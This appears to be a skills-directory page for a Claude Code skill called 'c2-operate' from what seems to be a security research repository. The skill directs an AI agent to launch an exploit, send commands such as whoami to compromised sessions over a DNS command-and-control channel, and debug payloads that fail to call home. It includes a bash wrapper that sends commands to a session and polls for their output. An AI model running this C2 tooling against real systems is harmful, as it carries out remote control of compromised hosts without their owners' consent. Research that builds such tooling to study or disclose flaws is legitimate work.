BeyondTrust/pwning-agentcore-code-interpreter / .claude/skills/c2-operate/c2-operate
c2-operate
VerifiedOperate and debug the DNS C2 system non-interactively. This skill should be used when Claude needs to launch an exploit, send commands to a compromised session and collect output, diagnose why a payload is not calling home, or inspect C2 server state. Triggers on requests like "run the exploit", "send whoami to the session", "why isn't the payload calling back", "check what sessions are active", or "debug the C2".
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 11.6 KB |
| scripts/send_and_wait.shexecutable | script | 841 B |
scripts/send_and_wait.sh
View on GitHub#!/bin/bash
# Non-interactive send+receive: sends a command and polls for output.
# Usage: send_and_wait.sh <session_id> <command> [timeout_seconds]
#
# Exit codes:
# 0 - output received
# 1 - timeout with no output
# 2 - failed to send command
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../../../../.." && pwd)"
ATTACKER_DIR="$PROJECT_ROOT/attacker-infra"
cd "$ATTACKER_DIR"
SESSION_ID="${1:?Usage: send_and_wait.sh <session_id> <command> [timeout]}"
COMMAND="${2:?Usage: send_and_wait.sh <session_id> <command> [timeout]}"
TIMEOUT="${3:-45}"
# Send command
if ! uv run c2 send "$COMMAND" -s "$SESSION_ID" 2>&1; then
echo "[!] Failed to send command" >&2
exit 2
fi
# Poll for output
uv run c2 receive -s "$SESSION_ID" --wait "$TIMEOUT" --poll-interval 2
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| finishing-a-development-branchobra/superpowersUse when implementation is complete, all tests pass, and you need to decide how to integrate the work | Stars: 321k | Updated | Claude CodeCodex | Verified | Install |
| systematic-debuggingobra/superpowersUse when encountering any bug, test failure, or unexpected behavior, before proposing fixes | Stars: 321k | Updated | Claude CodeCodex | Verified | Install |
| test-driven-developmentobra/superpowersUse when implementing any feature or bugfix, before writing implementation code | Stars: 321k | Updated | Claude CodeCodex | Verified | Install |
| skill-creatoranthropics/skillsCreate new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy. | Stars: 197k | Updated | Claude CodeCodex | Verified | Install |